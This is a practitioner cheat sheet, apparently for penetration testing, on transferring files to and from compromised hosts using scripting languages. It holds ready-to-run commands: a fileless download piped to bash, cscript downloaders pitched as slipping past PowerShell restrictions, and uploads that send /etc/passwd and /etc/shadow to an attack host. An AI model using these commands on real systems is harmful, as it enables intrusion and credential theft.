September 20, 2026
Transferring Files with Code — A Practitioner’s Reference
When standard transfer tools (wget, curl, nc) are unavailable or blocked, programming languages already installed on the target can fill…

By Gabriel D. Vincent
5 min read
When standard transfer tools (wget, curl, nc) are unavailable or blocked, programming languages already installed on the target can fill the gap. This is a copy-paste reference organized by language and use case.
Check What's Available on the Target
Before picking a method, run these first to see what you're working with. Never assume — always check.
On Linux:
# 🎯 target (Linux)
which python python3 python2.7 php ruby perl curl wget nc 2>/dev/null# 🎯 target (Linux)
which python python3 python2.7 php ruby perl curl wget nc 2>/dev/nullCheck Python version specifically:
# 🎯 target (Linux)
python3 --version 2>/dev/null
python2.7 --version 2>/dev/null
python --version 2>/dev/null# 🎯 target (Linux)
python3 --version 2>/dev/null
python2.7 --version 2>/dev/null
python --version 2>/dev/nullCheck if Python requests module is available (needed for uploads):
# 🎯 target (Linux)
python3 -c 'import requests; print("requests available")'# 🎯 target (Linux)
python3 -c 'import requests; print("requests available")'Check if PHP fopen wrappers are enabled (needed for fileless PHP downloads):
# 🎯 target (Linux)
php -r 'echo ini_get("allow_url_fopen") ? "fopen wrappers ON" : "fopen wrappers OFF";'# 🎯 target (Linux)
php -r 'echo ini_get("allow_url_fopen") ? "fopen wrappers ON" : "fopen wrappers OFF";'Check if Perl LWP::Simple is available:
# 🎯 target (Linux)
perl -e 'use LWP::Simple; print "LWP available\n"'# 🎯 target (Linux)
perl -e 'use LWP::Simple; print "LWP available\n"'On Windows:
REM 🎯 target (Windows cmd.exe)
where python python3 php ruby perl curl wget 2>nulREM 🎯 target (Windows cmd.exe)
where python python3 php ruby perl curl wget 2>nulCheck if cscript is available (needed for JS/VBScript methods):
REM 🎯 target (Windows cmd.exe)
where cscriptREM 🎯 target (Windows cmd.exe)
where cscriptQuick decision guide based on what you find:
python3available → use Python 3 urllib (download) or requests (upload)phpavailable → use file_get_contents() or fopen()rubyavailable → use Net::HTTPperlavailable → use LWP::Simple (if installed)- Only
cscripton Windows → use wget.js or wget.vbs - Nothing available → fall back to base64 encode/decode over your existing shell
When to Use This
- wget and curl are missing but Python, PHP, Ruby, or Perl is installed
- You need a one-liner that doesn't require installing anything
- You're on a Windows target and need JavaScript or VBScript alternatives to PowerShell
- You want to upload files using Python's requests module
Download Operations
Python
Python 3 — Download a file:
# 🎯 target (Linux or Windows)
# Example: python3 -c 'import urllib.request;urllib.request.urlretrieve("https://example.com/LinEnum.sh", "LinEnum.sh")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL>", "<OUTPUT_FILENAME>")'# 🎯 target (Linux or Windows)
# Example: python3 -c 'import urllib.request;urllib.request.urlretrieve("https://example.com/LinEnum.sh", "LinEnum.sh")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL>", "<OUTPUT_FILENAME>")'Python 2.7 — Download a file:
# 🎯 target (Linux or Windows)
# Example: python2.7 -c 'import urllib;urllib.urlretrieve("https://example.com/LinEnum.sh", "LinEnum.sh")'
python2.7 -c 'import urllib;urllib.urlretrieve("<URL>", "<OUTPUT_FILENAME>")'# 🎯 target (Linux or Windows)
# Example: python2.7 -c 'import urllib;urllib.urlretrieve("https://example.com/LinEnum.sh", "LinEnum.sh")'
python2.7 -c 'import urllib;urllib.urlretrieve("<URL>", "<OUTPUT_FILENAME>")'⚠️ Practitioner note: Check which version is installed first with
python --versionorpython3 --version. Python 2 and Python 3 use completely different urllib APIs — mixing them up gives an immediate import error.
PHP
file_get_contents() — simplest one-liner:
# 🎯 target (Linux)
# Example: php -r '$file = file_get_contents("https://example.com/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
php -r '$file = file_get_contents("<URL>"); file_put_contents("<OUTPUT_FILENAME>",$file);'# 🎯 target (Linux)
# Example: php -r '$file = file_get_contents("https://example.com/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
php -r '$file = file_get_contents("<URL>"); file_put_contents("<OUTPUT_FILENAME>",$file);'fopen() — streaming download (better for large files):
# 🎯 target (Linux)
php -r 'const BUFFER = 1024; $fremote = fopen("<URL>", "rb"); $flocal = fopen("<OUTPUT_FILENAME>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'# 🎯 target (Linux)
php -r 'const BUFFER = 1024; $fremote = fopen("<URL>", "rb"); $flocal = fopen("<OUTPUT_FILENAME>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'Fileless — download and pipe directly to bash:
# 🎯 target (Linux)
# Example: php -r '$lines = @file("https://example.com/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash# 🎯 target (Linux)
# Example: php -r '$lines = @file("https://example.com/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash⚠️ Practitioner note: The
@file()function uses the URL as a filename — this only works iffopen wrappersare enabled (allow_url_fopen = On). If it silently fails, fall back tofile_get_contents().
Ruby
Download a file:
# 🎯 target (Linux)
# Example: ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://example.com/LinEnum.sh")))'
ruby -e 'require "net/http"; File.write("<OUTPUT_FILENAME>", Net::HTTP.get(URI.parse("<URL>")))'# 🎯 target (Linux)
# Example: ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://example.com/LinEnum.sh")))'
ruby -e 'require "net/http"; File.write("<OUTPUT_FILENAME>", Net::HTTP.get(URI.parse("<URL>")))'⚠️ Practitioner note:
net/httpis part of Ruby's standard library — no gems needed. Works on any system with Ruby installed.
Perl
Download a file:
# 🎯 target (Linux)
# Example: perl -e 'use LWP::Simple; getstore("https://example.com/LinEnum.sh", "LinEnum.sh");'
perl -e 'use LWP::Simple; getstore("<URL>", "<OUTPUT_FILENAME>");'# 🎯 target (Linux)
# Example: perl -e 'use LWP::Simple; getstore("https://example.com/LinEnum.sh", "LinEnum.sh");'
perl -e 'use LWP::Simple; getstore("<URL>", "<OUTPUT_FILENAME>");'⚠️ Practitioner note:
LWP::Simpleis not always installed by default. Check withperl -e 'use LWP::Simple'— if it throws an error, fall back to Python or PHP.
JavaScript (Windows — cscript.exe)
Best for: Windows targets where PowerShell is locked down but cscript is available.
Step 1 — Create the download script on the target.
Save the following as wget.js (the filename matters — you'll reference it in Step 2):
REM 🎯 target (Windows cmd.exe) — creates wget.js in your current directory
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); > wget.js
echo WinHttpReq.Open("GET", WScript.Arguments(0), false); >> wget.js
echo WinHttpReq.Send(); >> wget.js
echo BinStream = new ActiveXObject("ADODB.Stream"); >> wget.js
echo BinStream.Type = 1; >> wget.js
echo BinStream.Open(); >> wget.js
echo BinStream.Write(WinHttpReq.ResponseBody); >> wget.js
echo BinStream.SaveToFile(WScript.Arguments(1)); >> wget.jsREM 🎯 target (Windows cmd.exe) — creates wget.js in your current directory
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); > wget.js
echo WinHttpReq.Open("GET", WScript.Arguments(0), false); >> wget.js
echo WinHttpReq.Send(); >> wget.js
echo BinStream = new ActiveXObject("ADODB.Stream"); >> wget.js
echo BinStream.Type = 1; >> wget.js
echo BinStream.Open(); >> wget.js
echo BinStream.Write(WinHttpReq.ResponseBody); >> wget.js
echo BinStream.SaveToFile(WScript.Arguments(1)); >> wget.jsOr if you have a text editor available, create C:\Users\Public\wget.js and paste this content directly:
// 🎯 target (Windows) — save as C:\Users\Public\wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));// 🎯 target (Windows) — save as C:\Users\Public\wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));Step 2 — Run wget.js with cscript, passing the URL and output filename as arguments:
REM 🎯 target (Windows cmd.exe)
REM Usage: cscript.exe /nologo wget.js <URL> <OUTPUT_FILENAME>
REM Example: cscript.exe /nologo wget.js https://example.com/PowerView.ps1 PowerView.ps1
cscript.exe /nologo wget.js <URL> <OUTPUT_FILENAME>REM 🎯 target (Windows cmd.exe)
REM Usage: cscript.exe /nologo wget.js <URL> <OUTPUT_FILENAME>
REM Example: cscript.exe /nologo wget.js https://example.com/PowerView.ps1 PowerView.ps1
cscript.exe /nologo wget.js <URL> <OUTPUT_FILENAME>⚠️ Practitioner note:
/nologosuppresses the Microsoft branding banner.WScript.Arguments(0)is the URL,WScript.Arguments(1)is the output filename. Runcd C:\Users\Publicfirst so files land somewhere writable.
VBScript (Windows — cscript.exe)
Best for: older Windows systems (Windows 98 and up), or when JavaScript via cscript isn't available.
Step 1 — Create the download script on the target.
Save the following as wget.vbs:
REM 🎯 target (Windows cmd.exe) — creates wget.vbs in your current directory
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > wget.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> wget.vbs
echo xHttp.Open "GET", WScript.Arguments.Item(0), False >> wget.vbs
echo xHttp.Send >> wget.vbs
echo with bStrm >> wget.vbs
echo .type = 1 >> wget.vbs
echo .open >> wget.vbs
echo .write xHttp.responseBody >> wget.vbs
echo .savetofile WScript.Arguments.Item(1), 2 >> wget.vbs
echo end with >> wget.vbsREM 🎯 target (Windows cmd.exe) — creates wget.vbs in your current directory
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > wget.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> wget.vbs
echo xHttp.Open "GET", WScript.Arguments.Item(0), False >> wget.vbs
echo xHttp.Send >> wget.vbs
echo with bStrm >> wget.vbs
echo .type = 1 >> wget.vbs
echo .open >> wget.vbs
echo .write xHttp.responseBody >> wget.vbs
echo .savetofile WScript.Arguments.Item(1), 2 >> wget.vbs
echo end with >> wget.vbsOr if you have a text editor available, create C:\Users\Public\wget.vbs and paste this content directly:
' 🎯 target (Windows) — save as C:\Users\Public\wget.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with' 🎯 target (Windows) — save as C:\Users\Public\wget.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end withStep 2 — Run wget.vbs with cscript, passing the URL and output filename as arguments:
REM 🎯 target (Windows cmd.exe)
REM Usage: cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILENAME>
REM Example: cscript.exe /nologo wget.vbs https://example.com/PowerView.ps1 PowerView.ps1
cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILENAME>REM 🎯 target (Windows cmd.exe)
REM Usage: cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILENAME>
REM Example: cscript.exe /nologo wget.vbs https://example.com/PowerView.ps1 PowerView.ps1
cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILENAME>⚠️ Practitioner note: VBScript has been installed by default on every Windows desktop since Windows 98 — a reliable fallback when PowerShell execution policy is locked. The
2in.savetofilemeans overwrite if the file already exists. Runcd C:\Users\Publicfirst so files land somewhere writable.
Upload Operations
Python 3 — Upload via requests
Best for: sending files from a target back to your attack host running uploadserver.
Step 1 — On your attack host, start the upload server:
# 🖥️ attack host (Linux)
python3 -m uploadserver# 🖥️ attack host (Linux)
python3 -m uploadserverStep 2 — On the target, upload a single file:
# 🎯 target (Linux)
# Example: python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
python3 -c 'import requests;requests.post("http://<ATTACK_HOST_IP>:8000/upload",files={"files":open("<FILE_PATH>","rb")})'# 🎯 target (Linux)
# Example: python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
python3 -c 'import requests;requests.post("http://<ATTACK_HOST_IP>:8000/upload",files={"files":open("<FILE_PATH>","rb")})'Upload multiple files — write script to /tmp first, then run:
# 🎯 target (Linux) — Step 1: write the script to /tmp
cat > /tmp/upload.py << 'EOF'
import requests
URL = "http://<ATTACK_HOST_IP>:8000/upload"
files = [
("files", ("passwd", open("/etc/passwd", "rb"))),
("files", ("shadow", open("/etc/shadow", "rb"))),
]
r = requests.post(URL, files=files)
print("[+] Done:", r.status_code)
EOF
# 🎯 target (Linux) — Step 2: run it
python3 /tmp/upload.py# 🎯 target (Linux) — Step 1: write the script to /tmp
cat > /tmp/upload.py << 'EOF'
import requests
URL = "http://<ATTACK_HOST_IP>:8000/upload"
files = [
("files", ("passwd", open("/etc/passwd", "rb"))),
("files", ("shadow", open("/etc/shadow", "rb"))),
]
r = requests.post(URL, files=files)
print("[+] Done:", r.status_code)
EOF
# 🎯 target (Linux) — Step 2: run it
python3 /tmp/upload.py⚠️ Practitioner note: Replace
<ATTACK_HOST_IP>with your tun0 IP. Add or remove files from the list as needed — follow the same("files", ("filename", open("/path", "rb")))pattern for each. Running from/tmpkeeps things writable regardless of your current user. Ifrequestsis not installed, use curl instead:curl -X POST http://<IP>:8000/upload -F 'files=@/etc/passwd'.
Quick Reference
Language Available On Download One-liner Upload Python 3 Linux / Windows urllib.request.urlretrieve(url, file) requests.post(url, files=...) Python 2.7 Older Linux urllib.urlretrieve(url, file) — PHP Linux web servers file_get_contents() + file_put_contents() — Ruby Linux Net::HTTP.get + File.write — Perl Linux LWP::Simple getstore() — JavaScript Windows (cscript) WinHttpRequest + ADODB.Stream — VBScript Windows (cscript) Microsoft.XMLHTTP + Adodb.Stream —
Key Practitioner Notes
Check what's installed before picking a method. Run which python3 php ruby perl on Linux or where python on Windows before trying a method that isn't there.
Python 2 and Python 3 urllib are completely different APIs. Using the Python 2 syntax on a Python 3 system gives an immediate import error. Always check the version first.
PHP @file() requires allow_url_fopen = On. If the fileless pipe method silently fails, check the PHP config or fall back to file_get_contents().
JavaScript and VBScript via cscript are underused Windows fallbacks. When PowerShell execution policy is locked down, defenders often overlook cscript. Both have been on Windows by default for decades.
Write multi-line scripts to /tmp first. Multi-line Python pasted directly into a terminal is fragile. Write to /tmp/script.py using a heredoc, then run python3 /tmp/script.py — cleaner and more reliable.
If requests isn't available, use curl. curl -X POST http://<IP>:8000/upload -F 'files=@/path/to/file' does exactly what the Python requests upload does — no module required.
One-liners are your friend in restricted shells. All of these methods work as single command-line expressions using -c (Python, PHP) or -e (Ruby, Perl) — no script file needed beyond the downloaded file itself.